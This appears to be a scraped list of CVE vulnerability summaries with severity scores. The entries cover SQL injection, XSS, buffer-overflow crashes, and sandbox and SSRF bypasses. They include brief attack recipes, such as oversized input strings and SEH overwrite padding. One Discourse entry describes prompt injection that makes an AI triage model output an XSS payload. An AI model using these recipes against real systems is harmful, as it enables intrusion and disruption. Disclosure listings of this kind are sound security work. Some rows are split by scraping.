CVE-2026-4485	A vulnerability has been found in itsourcecode College Management System 1.0. The impacted element is an unknown function of the file /admin/search_student.php. The manipulation of the argument Search leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.	6.3	More Details
CVE-2026-4500	A vulnerability was identified in bagofwords1 bagofwords up to 0.0.297. This impacts the function generate_df of the file backend/app/ai/code_execution/code_execution.py. Such manipulation leads to injection. The attack may be launched remotely. The exploit is publicly available and might be used. Upgrading to version 0.0.298 will fix this issue. The name of the patch is 47b20bcda31264635faff7f6b1c8095abe1861c6. It is recommended to upgrade the affected component.	6.3	More Details
CVE-2026-4778	A weakness has been identified in SourceCodester Sales and Inventory System 1.0. This vulnerability affects unknown code of the file update_category.php of the component HTTP GET Parameter Handler. This manipulation of the argument sid causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-	A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. This affects an unknown part of the file view_supplier.php of the component POST Parameter Handler. The manipulation of the argument searchtxt results in sql injection. The attack may be launched remotely. The exploit has been released to the	6.3	More Details

4777	public and may be used for attacks.		
CVE-2026-4506	A vulnerability was found in Mindinventory MindSQL up to 0.2.1. Impacted is the function ask_db of the file mindsql/core/mindsql_core.py. Performing a manipulation results in code injection. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4505	A vulnerability has been found in eosphoros-ai DB-GPT up to 0.7.5. This issue affects the function module_plugin.refresh_plugins of the file packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py of the component FastAPI Endpoint. Such manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-4507	A vulnerability was determined in Mindinventory MindSQL up to 0.2.1. The affected element is the function ask_db of the file mindsql/core/mindsql_core.py. Executing a manipulation can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-33265	In LibreChat 0.8.1-rc2, a logged-in user obtains a JWT for both the LibreChat API and the RAG API.	6.3	More Details
CVE-2026-4472	A security vulnerability has been detected in itsourcecode Online Frozen Foods Ordering System 1.0. This vulnerability affects unknown code of the file /admin/admin_edit_supplier.php. The manipulation of the argument Supplier_Name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.	6.3	More Details
CVE-2019-25617	Ease Audio Converter 5.30 contains a denial of service vulnerability in the Audio Cutter function that allows local attackers to crash the application by processing malformed MP4 files. Attackers can create a crafted MP4 file containing an oversized buffer and load it through the Audio Cutter interface to trigger an application crash.	6.2	More Details
CVE-2019-25616	AnMing MP3 CD Burner 2.0 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an oversized string. Attackers can paste a 6000-byte payload into the registration name field to trigger a denial of service condition.	6.2	More Details
CVE-2019-25555	TwistedBrush Pro Studio 24.06 contains a denial of service vulnerability in the Script Recorder component that allows local attackers to crash the application by supplying an excessively large buffer. Attackers can paste a malicious string containing 500,000 characters into the Description field of the Script Recorder dialog to trigger an application crash.	6.2	More Details
CVE-2026-30006	XnSoft NConvert 7.230 is vulnerable to Stack Buffer Overrun via a crafted .tiff file.	6.2	More Details
CVE-2019-25544	Pidgin 2.13.0 contains a denial of service vulnerability that allows local attackers to crash the application by providing an excessively long username string during account creation. Attackers can input a buffer of 1000 characters in the username field and trigger a crash when joining a chat, causing the application to become unavailable.	6.2	More Details
CVE-2019-25545	Terminal Services Manager 3.2.1 contains a local buffer overflow vulnerability that allows attackers to crash the application by supplying an excessively long string in the computer name field. Attackers can input a 5000-byte buffer of data into the 'Computer name or IP address' field during computer addition, causing a denial of service when the server entry is accessed.	6.2	More Details
CVE-2026-30007	XnSoft NConvert 7.230 is vulnerable to Use-After-Free via a crafted .tiff file	6.2	More Details
CVE-2019-25618	AdminExpress 1.2.5 contains a denial of service vulnerability that allows local attackers to crash the application by submitting oversized input through the System Compare feature. Attackers can paste a large buffer of characters into the Folder Path field and trigger the comparison function to cause the application to become unresponsive or crash.	6.2	More Details
CVE-2019-25546	NetAware 1.20 contains a buffer overflow vulnerability in the Share Name field that allows local attackers to crash the application by supplying an excessively long string. Attackers can trigger a denial of service by pasting a 1000-byte buffer into the Share Name parameter when adding a new share through the Manage Shares interface.	6.2	More Details
CVE-2019-25547	NetAware 1.20 contains a buffer overflow vulnerability in the User Blocking feature that allows local attackers to crash the application by supplying oversized input. Attackers can paste a malicious buffer of 512 bytes into the 'Add a website or keyword to be filtered' field and trigger a crash when removing the created block.	6.2	More Details
CVE-2019-25548	BlueStacks 4.80.0.1060 contains a denial of service vulnerability that allows local attackers to crash the application by submitting oversized input to the search field. Attackers can paste a buffer of 100,000 'A' characters into the search field and trigger a search operation to cause the application to crash.	6.2	More Details

CVE-2019-25549	VeryPDF PCL Converter 2.7 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long password string. Attackers can trigger a buffer overflow by entering a 3000-byte password in the PDF Security encryption fields, causing the application to crash when processing PCL files.	6.2	More Details
CVE-2019-25550	Encrypt PDF 2.3 contains a buffer overflow vulnerability that allows local attackers to crash the application by inputting excessively long strings into password fields. Attackers can paste a 1000-byte buffer into the User Password or Master Password field in the Settings dialog to trigger an application crash when importing PDF files.	6.2	More Details
CVE-2019-25551	Sandboxie 5.30 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Program Alerts configuration field. Attackers can paste a buffer of 5000 characters into the 'Select or enter a program' field during program alert configuration to trigger an application crash.	6.2	More Details
CVE-2019-25553	CEWE PHOTO IMPORTER 6.4.3 contains a denial of service vulnerability that allows local attackers to crash the application by importing a specially crafted image file. Attackers can create a malformed JPG file with an oversized buffer and trigger the crash through the import functionality during the image processing workflow.	6.2	More Details
CVE-2019-25590	Axessh 4.2 contains a denial of service vulnerability in the logging configuration that allows local attackers to crash the application by supplying an excessively long string in the log file name field. Attackers can enable session logging, paste a buffer of 500 or more characters into the log file name parameter, and trigger a crash when establishing a telnet connection.	6.2	More Details
CVE-2019-25569	RealTerm Serial Terminal 2.0.0.70 contains a stack-based buffer overflow vulnerability in the Echo Port field that allows local attackers to crash the application by triggering a structured exception handler (SEH) chain corruption. Attackers can craft a malicious input string with 268 bytes of padding followed by SEH overwrite values and paste it into the Port field to cause denial of service.	6.2	More Details
CVE-2019-25556	TwistedBrush Pro Studio 24.06 contains a denial of service vulnerability in the Resize Image function that allows local attackers to crash the application by supplying an excessively long buffer. Attackers can paste a malicious string into the New Width or New Height field to trigger a buffer overflow that causes the application to crash.	6.2	More Details
CVE-2019-25596	SpotAuditor 5.2.6 contains a denial of service vulnerability in the registration dialog that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a buffer of 300 repeated characters into the Name input during registration to trigger an application crash.	6.2	More Details
CVE-2019-25592	PHPRunner 10.1 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the dashboard name field. Attackers can paste a buffer of 10000 characters into the Name field during dashboard creation to trigger an application crash.	6.2	More Details
CVE-2019-25589	ZOC Terminal 7.23.4 contains a buffer overflow vulnerability in the Shell field of Program Settings that allows local attackers to crash the application by supplying an excessively long string. Attackers can paste a crafted payload into the Shell configuration field and trigger a crash when accessing the Command Shell feature.	6.2	More Details
CVE-2019-25588	BulletProof FTP Server 2019.0.0.50 contains a denial of service vulnerability in the DNS Address field that allows local attackers to crash the application by supplying an excessively long string. Attackers can enable the DNS Address option in the Firewall settings and paste a buffer of 700 bytes to trigger a crash when the Test function is invoked.	6.2	More Details
CVE-2019-25587	BulletProof FTP Server 2019.0.0.50 contains a denial of service vulnerability in the Storage-Path configuration parameter that allows local attackers to crash the application by supplying an excessively long string value. Attackers can enable the Override Storage-Path setting and paste a buffer of 500 bytes or more to trigger an application crash when saving the configuration.	6.2	More Details
CVE-2019-25586	Deluge 1.3.15 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the URL field. Attackers can paste a buffer of 5000 characters into the 'From URL' field during torrent addition to trigger an application crash.	6.2	More Details
CVE-2019-25585	Deluge 1.3.15 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Webseeds field. Attackers can paste a buffer of 5000 bytes into the Webseeds field during torrent creation to trigger an application crash.	6.2	More Details
CVE-2019-25584	RarmaRadio 2.72.3 contains a buffer overflow vulnerability in the Server field of the Network settings that allows local attackers to crash the application by supplying an excessively long string. Attackers can paste a malicious payload exceeding 4000 bytes into the Server field via the Settings menu to trigger an application crash.	6.2	More Details
CVE-2019-25583	RarmaRadio 2.72.3 contains a denial of service vulnerability in the Username field that allows local attackers to crash the application by submitting excessively long input. Attackers can paste a buffer of 5000 bytes into the Username field via Settings > Network to trigger an application crash.	6.2	More Details
CVE-2019-25594	ASPRunner.NET 10.1 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the table name field. Attackers can input a buffer of 10000 characters in the table name parameter during database table creation to trigger an application crash.	6.2	More Details
CVE-2019-	jetAudio 8.1.7.20702 Basic contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string through the URL input handler. Attackers can trigger the crash	6.2	More

25595	by pasting a buffer of 5000 characters into the Open URL dialog, causing the application to terminate abnormally.		Details
CVE-2019-25597	NSauditor 3.1.2.0 contains a buffer overflow vulnerability in the SNMP Auditor Community field that allows local attackers to crash the application by supplying an excessively long string. Attackers can paste a large payload into the Community field and trigger the Walk function to cause a denial of service condition.	6.2	More Details
CVE-2019-25558	Selfie Studio 2.17 contains a denial of service vulnerability in the Resize Image function that allows local attackers to crash the application by supplying an excessively long buffer. Attackers can paste a large string of characters into the New Width or New Height field to trigger a buffer overflow that crashes the application.	6.2	More Details
CVE-2019-25598	HeidiSQL Portable 10.1.0.5464 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the password field. Attackers can paste a buffer overflow payload into the password input during Microsoft SQL Server login to trigger an application crash.	6.2	More Details
CVE-2019-25599	Backup Key Recovery 2.2.4 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a buffer of 300 or more characters into the Name field during registration to trigger a crash when submitting the form.	6.2	More Details
CVE-2019-25601	UltraVNC Launcher 1.2.2.4 contains a buffer overflow vulnerability in the Path vncviewer.exe property field that allows local attackers to crash the application by supplying an excessively long string. Attackers can input a 300-byte payload of repeated characters through the Properties dialog to trigger a denial of service condition.	6.2	More Details
CVE-2019-25572	NordVPN 6.19.6 contains a denial of service vulnerability that allows local attackers to crash the application by submitting an excessively long string in the email input field. Attackers can paste a buffer of 100,000 characters into the email field during login to trigger an application crash.	6.2	More Details
CVE-2019-25571	MediaMonkey 4.1.23 contains a denial of service vulnerability that allows local attackers to crash the application by opening a specially crafted MP3 file containing an excessively long URL string. Attackers can create a malicious MP3 file with a buffer containing 4000 bytes of data appended to a URL, which causes the application to crash when the file is opened through the File > Open URL dialog.	6.2	More Details
CVE-2019-25567	Valentina Studio 9.0.5 Linux contains a buffer overflow vulnerability in the Host field of the connection dialog that allows local attackers to crash the application by supplying an oversized input string. Attackers can trigger the vulnerability by pasting a crafted buffer exceeding 264 bytes into the Host field during server connection attempts, causing a denial of service.	6.2	More Details
CVE-2019-25566	TransMac 12.3 contains a buffer overflow vulnerability in the volume name field that allows local attackers to crash the application by supplying an excessively long string. Attackers can create a malicious file with 1000 repeated characters, paste the content into the volume name field during disk image creation, and trigger an application crash.	6.2	More Details
CVE-2019-25565	Magic Iso Maker 5.5 build 281 contains a buffer overflow vulnerability in the Serial Code registration field that allows local attackers to crash the application by submitting an oversized input. Attackers can generate a file containing 5000 bytes of data, paste it into the Serial Code field during registration, and trigger a denial of service condition that crashes the application.	6.2	More Details
CVE-2019-25563	PCHelpWareV2 1.0.0.5 contains a denial of service vulnerability that allows local attackers to crash the application by supplying a malformed image file. Attackers can trigger the vulnerability through the Create SC feature by selecting a crafted BMP file with an oversized buffer, causing the application to crash.	6.2	More Details
CVE-2019-25561	Lyric Maker 2.0.1.0 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Title field. Attackers can paste a 5000-byte buffer into the Title input field and save the file to trigger a denial of service condition.	6.2	More Details
CVE-2019-25557	TwistedBrush Pro Studio 24.06 contains a denial of service vulnerability that allows local attackers to crash the application by importing a malformed .srp script file. Attackers can create a .srp file containing an excessively large buffer and import it through the Script Player interface to trigger an application crash.	6.2	More Details
CVE-2019-25591	DNSS Domain Name Search Software 2.1.8 contains a buffer overflow vulnerability in the registration code input field that allows local attackers to crash the application by submitting an excessively long string. Attackers can trigger a denial of service by pasting a malicious registration code containing 300 repeated characters into the Name/Key field via the Register menu option.	6.2	More Details
CVE-2019-25645	WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 contains a denial of service vulnerability that allows local attackers to crash the application by processing malformed AVI files. Attackers can create a specially crafted AVI file with an oversized buffer and load it through the Convert to iPhone function to trigger an application crash.	6.2	More Details
CVE-2019-25624	Liquid Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can trigger the vulnerability by entering arbitrary characters during application runtime, causing the application to become unresponsive or terminate abnormally.	6.2	More Details
CVE-2019-25623	Luminance Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can create a text file with arbitrary character sequences and trigger the application to process the input, causing the application to become unresponsive or terminate abnormally.	6.2	More Details

CVE-2019-25644	WinMPG Video Convert 9.3.5 and older versions contain a buffer overflow vulnerability in the registration dialog that allows local attackers to crash the application by supplying oversized input. Attackers can paste a large payload of 6000 bytes into the Name and Registration Code field to trigger a denial of service condition.	6.2	More Details
CVE-2019-25625	Blob Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the key entry mechanism. Attackers can create a text file with a large buffer of repeated characters and trigger the application to read it, causing the application to crash or become unresponsive.	6.2	More Details
CVE-2026-33320	Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.	6.2	More Details
CVE-2019-25620	Tree Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can trigger the vulnerability by entering arbitrary characters during application runtime, causing the application to become unresponsive or terminate abnormally.	6.2	More Details
CVE-2019-25621	Pixel Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can trigger the vulnerability by entering arbitrary characters, causing the application to become unresponsive or terminate abnormally.	6.2	More Details
CVE-2019-25622	Paint Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the key entry mechanism. Attackers can create a text file with a large buffer of characters and trigger the application to read it, causing the application to crash and become unavailable.	6.2	More Details
CVE-2025-36051	IBM QRadar SIEM 7.5.0 through 7.5.0 Update Package 14 stores potentially sensitive information in configuration files that could be read by a local user.	6.2	More Details
CVE-2019-25632	phpFileManager 1.7.8 contains a local file inclusion vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating the action, fm_current_dir, and filename parameters. Attackers can send GET requests to index.php with crafted parameter values to access sensitive files like /etc/passwd from the server.	6.2	More Details
CVE-2025-52204	A Cross-Site Scripting (XSS) vulnerability exists in Znuny::ITSM 6.5.x in the customer.pl endpoint via the OTRSCustomerInterface parameter	6.1	More Details
CVE-2026-3572	The iTracker360 plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Stored Cross-Site Scripting in all versions up to and including 2.2.0. This is due to missing nonce verification on the settings form submission and insufficient input sanitization combined with missing output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request granted they can trick an administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-2277	The rexCrawler plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'url' and 'regex' parameters in the search-pattern tester page in all versions up to, and including, 1.0.15 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link. This only affects multi-site installations and installations where unfiltered_html has been disabled.	6.1	More Details
CVE-2026-27545	OpenClaw versions prior to 2026.2.26 contain an approval bypass vulnerability in system.run execution that allows attackers to execute commands from unintended filesystem locations by rebinding writable parent symlinks in the current working directory after approval. An attacker can modify mutable parent symlink path components between approval and execution time to redirect command execution to a different location while preserving the visible working directory string.	6.1	More Details
CVE-2026-4069	The Alfie – Feed Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'naam' parameter in all versions up to, and including, 1.2.1. This is due to missing nonce validation on the alfie_option_page() function combined with insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject malicious web scripts that will be stored in the plugin's database and execute whenever a user accesses the page displaying the injected data, granted they can trick a site administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-30661	iCMS v8.0.0 contains a Cross-Site Scripting (XSS) vulnerability in the User Management component, specifically within the index.html file. This allows remote attackers to execute arbitrary web script or HTML via the regip or loginip parameters.	6.1	More Details
CVE-2024-	A stored cross-site scripting (XSS) vulnerability in the component /admin/search-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted	6.1	More Details

51226	payload into the Search parameter.		
CVE-2026-27523	OpenClaw versions prior to 2026.2.24 contain a sandbox bind validation vulnerability allowing attackers to bypass allowed-root and blocked-path checks via symlinked parent directories with non-existent leaf paths. Attackers can craft bind source paths that appear within allowed roots but resolve outside sandbox boundaries once missing leaf components are created, weakening bind-source isolation enforcement.	6.1	More Details
CVE-2026-32986	Textpattern CMS version 4.9.0 contains a second-order cross-site scripting vulnerability that allows attackers to inject malicious scripts by exploiting improper sanitization of user-supplied input in Atom feed XML elements. Attackers can embed unescaped payloads in parameters such as category that are reflected into Atom fields like and , which execute as JavaScript when feed readers or CMS aggregators consume the feed and insert content into the DOM using unsafe methods.	6.1	More Details
CVE-2026-1780	The [CR]Paid Link Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the URL path in all versions up to, and including, 0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-22176	OpenClaw versions prior to 2026.2.19 contain a command injection vulnerability in Windows Scheduled Task script generation where environment variables are written to gateway.cmd using unquoted set KEY=VALUE assignments, allowing shell metacharacters to break out of assignment context. Attackers can inject arbitrary commands through environment variable values containing metacharacters like &, |, ^, %, or ! to achieve command execution when the scheduled task script is generated and executed.	6.1	More Details
CVE-2026-33499	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `view/forbiddenPage.php` and `view/warningPage.php` templates reflect the `$_REQUEST['unlockPassword']` parameter directly into an HTML `<input>` tag's attributes without any output encoding or sanitization. An attacker can craft a URL that breaks out of the `value` attribute and injects arbitrary HTML attributes including JavaScript event handlers, achieving reflected XSS against any visitor who clicks the link. Commit f154167251c9cf183ce09cd018d07e9352310457 contains a patch.	6.1	More Details
CVE-2026-22177	OpenClaw versions prior to 2026.2.21 fail to filter dangerous process-control environment variables from config env.vars, allowing startup-time code execution. Attackers can inject variables like NODE_OPTIONS or LD_* through configuration to execute arbitrary code in the OpenClaw gateway service runtime context.	6.1	More Details
CVE-2026-30695	A Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess access control devices, including XA4, X3/X3BIO, X4, X7, and XIO / i-door / i-door+. The vulnerability is caused by improper sanitization of user-supplied input in the dirBrowse parameter of the /file_manager.cgi endpoint.	6.1	More Details
CVE-2026-1647	The Comment Genius plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-4754	CWE-79 vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	6.1	More Details
CVE-2026-27570	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, the onebox method in the SharedAiConversation model renders the conversation title directly into HTML without proper sanitization. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, tighten access by changing the `ai_bot_public_sharing_allowed_groups` site setting.	6.1	More Details
CVE-2026-31990	OpenClaw versions prior to 2026.3.2 contain a vulnerability in the stageSandboxMedia function in which it fails to validate destination symlinks during media staging, allowing writes to follow symlinks outside the sandbox workspace. Attackers can exploit this by placing symlinks in the media/inbound directory to overwrite arbitrary files on the host system outside sandbox boundaries.	6.1	More Details
CVE-2026-27740	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a cross-site scripting vulnerability that arises because the system trusts the raw output from an AI Large Language Model (LLM) and renders it using htmlSafe in the Review Queue interface without adequate sanitization. A malicious attacker can use valid Prompt Injection techniques to force the AI to return a malicious payload (e.g., tags). When a Staff member (Admin/Moderator) views the flagged post in the Review Queue, the payload executes. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, temporarily disable AI triage automation scripts.	6.1	More Details
CVE-2026-4647	A flaw was found in the GNU Binutils BFD library, a widely used component for handling binary files such as object files and executables. The issue occurs when processing specially crafted XCOFF object files, where a relocation type value is not properly validated before being used. This can cause the program to read memory outside of intended bounds. As a result, affected tools may crash or expose unintended memory contents, leading to denial-of-service or limited information disclosure risks.	6.1	More Details
	Summary When trustProxy is configured with a restrictive trust function (e.g., a specific IP like trustProxy: '10.0.0.1', a subnet, a hop count, or a custom function), the request.protocol and request.host getters read X-Forwarded-Proto and X-Forwarded-Host headers from any connection — including connections from untrusted IPs.		

CVE-2026-3635	This allows an attacker connecting directly to Fastify (bypassing the proxy) to spoof both the protocol and host seen by the application. Affected Versions fastify <= 5.8.2 Impact Applications using request.protocol or request.host for security decisions (HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, host-based routing) are affected when trustProxy is configured with a restrictive trust function. When trustProxy: true (trust everything), both host and protocol trust all forwarded headers — this is expected behavior. The vulnerability only manifests with restrictive trust configurations.	6.1	More Details
CVE-2026-32844	XinLiangCoder php_api_doc through commit 1ce5bbf contains a reflected cross-site scripting vulnerability in list_method.php that allows remote attackers to execute arbitrary JavaScript in a victim's browser by injecting malicious code through the f parameter. Attackers can craft a malicious URL with unsanitized input in the GET request parameter that is output directly to the page without proper neutralization, enabling session hijacking, credential theft, or malware distribution within the application context.	6.1	More Details
CVE-2025-13910	The WP-WebAuthn plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the `wwa_auth` AJAX endpoint in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping on user supplied attributes logged by the plugin. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the plugin's log page, provided that the logging option is enabled in the plugin settings.	6.1	More Details
CVE-2026-3512	The Writeprint Stylometry plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'p' GET parameter in all versions up to and including 0.1. This is due to insufficient input sanitization and output escaping in the bjl_wprintstylo_comments_nav() function. The function directly outputs the $_GET['p'] parameter into an HTML href attribute without any escaping. This makes it possible for authenticated attackers with Contributor-level permissions or higher to inject arbitrary web scripts in pages that execute if they can successfully trick another user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-29828	DooTask v1.6.27 has a Cross-Site Scripting (XSS) vulnerability in the /manage/project/<id> page via the input field projectDesc.	6.1	More Details
CVE-2026-33209	Avo is a framework to create admin panels for Ruby on Rails apps. Prior to version 3.30.3, a reflected cross-site scripting (XSS) vulnerability exists in the return_to query parameter used in the avo interface. An attacker can craft a malicious URL that injects arbitrary JavaScript, which is executed when he clicks a dynamically generated navigation button. This issue has been patched in version 3.30.3.	6.1	More Details
CVE-2026-2723	The Post Snippits plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings page handlers for saving, adding, and deleting snippets. This makes it possible for unauthenticated attackers to modify plugin settings and inject malicious scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-33368	Zimbra Collaboration Suite (ZCS) 10.0 and 10.1 contains a reflected cross-site scripting (XSS) vulnerability in the Classic Webmail REST interface (/h/rest). The application fails to properly sanitize user-supplied input, allowing an unauthenticated attacker to inject malicious JavaScript into a crafted URL. When a victim user accesses the link, the injected script executes in the context of the Zimbra webmail application, which could allow the attacker to perform actions on behalf of the victim.	6.1	More Details
CVE-2026-2427	The itsukaita plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'day_from' and 'day_to' parameters in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-33296	WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains an open redirect vulnerability in the login flow where a user-supplied redirectUri parameter is reflected directly into a JavaScript `document.location` assignment without JavaScript-safe encoding. After a user completes the login popup flow, a timer callback executes the redirect using the unvalidated value, sending the victim to an attacker-controlled site. Version 26.0 fixes the issue.	6.1	More Details
CVE-2026-33140	PySpector is a static analysis security testing (SAST) Framework engineered for modern Python development workflows. PySpector versions 0.1.6 and prior are affected by a stored Cross-Site Scripting (XSS) vulnerability in the HTML report generator. When PySpector scans a Python file containing JavaScript payloads (i.e. inside a string passed to eval()), the flagged code snippet is interpolated into the HTML report without sanitization. Opening the generated report in a browser causes the embedded JavaScript to execute in the browser's local file context. This issue has been patched in version 0.1.7.	6.1	More Details
CVE-2026-33230	NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.	6.1	More Details
CVE-	An issue was discovered in Zimbra Collaboration (ZCS) 10.0 and 10.1. A stored cross-site scripting (XSS) vulnerability exists in the Zimbra Briefcase feature due to insufficient sanitization of specific uploaded file types		

CVE-2026-33370	Vulnerability exists in the Zimbra Briefcase feature due to insufficient sanitization of specific uploaded file types. When a user opens a publicly shared Briefcase file containing malicious scripts, the embedded JavaScript executes in the context of the user's session. This allows an attacker to run arbitrary scripts, potentially leading to data exfiltration or other unauthorized actions on behalf of the victim user.	6.1	More Details
CVE-2026-31382	The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload.	6.1	More Details
CVE-2026-3278	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in OpenText™ ZENworks Service Desk allows Cross-Site Scripting (XSS). The vulnerability could allow an attacker to execute arbitrary JavaScript leading to unauthorized actions on behalf of the user.This issue affects ZENworks Service Desk: 25.2, 25.3.	6.1	More Details
CVE-2026-33035	WWBN AVideo is an open source video platform. In versions 25.0 and below, there is a reflected XSS vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser. User input from a URL parameter flows through PHP's json_encode() into a JavaScript function that renders it via innerHTML, bypassing encoding and achieving full script execution. The vulnerability is caused by two issues working together: unescaped user input passed to JavaScript (videoNotFound.php), and innerHTML rendering HTML tags as executable DOM (script.js). The attack can be escalated to steal session cookies, take over accounts, phish credentials via injected login forms, spread self-propagating payloads, and compromise admin accounts — all by exploiting the lack of proper input sanitization and cookie security (e.g., missing HttpOnly flag on PHPSESSID). The issue has been fixed in version 26.0.	6.1	More Details
CVE-2026-33170	Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, `SafeBuffer#%` does not propagate the `@html_unsafe` flag to the newly created buffer. If a `SafeBuffer` is mutated in place (e.g. via `gsub!`) and then formatted with `%` using untrusted arguments, the result incorrectly reports `html_safe? == true`, bypassing ERB auto-escaping and possibly leading to XSS. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	6.1	More Details
CVE-2026-28499	LeafKit is a templating language with Swift-inspired syntax. Prior to version 1.14.2, HTML escaping doesn't work correctly when a template prints a collection (Array / Dictionary) via `#(value)`. This can result in XSS, allowing potentially untrusted input to be rendered unescaped. Version 1.14.2 fixes the issue.	6.1	More Details
CVE-2026-32037	OpenClaw versions prior to 2026.2.22 fail to consistently validate redirect chains against configured mediaAllowHosts allowlists during MSTeams media downloads. Attackers can supply or influence attachment URLs to force redirects to non-allowlisted targets, bypassing SSRF boundary controls.	6.0	More Details
CVE-2026-32019	OpenClaw versions prior to 2026.2.22 contain incomplete IPv4 special-use range validation in the isPrivateIpv4() function, allowing requests to RFC-reserved ranges to bypass SSRF policy checks. Attackers with network reachability to special-use IPv4 ranges can exploit web_fetch functionality to access blocked addresses such as 198.18.0.0/15 and other non-global ranges.	6.0	More Details
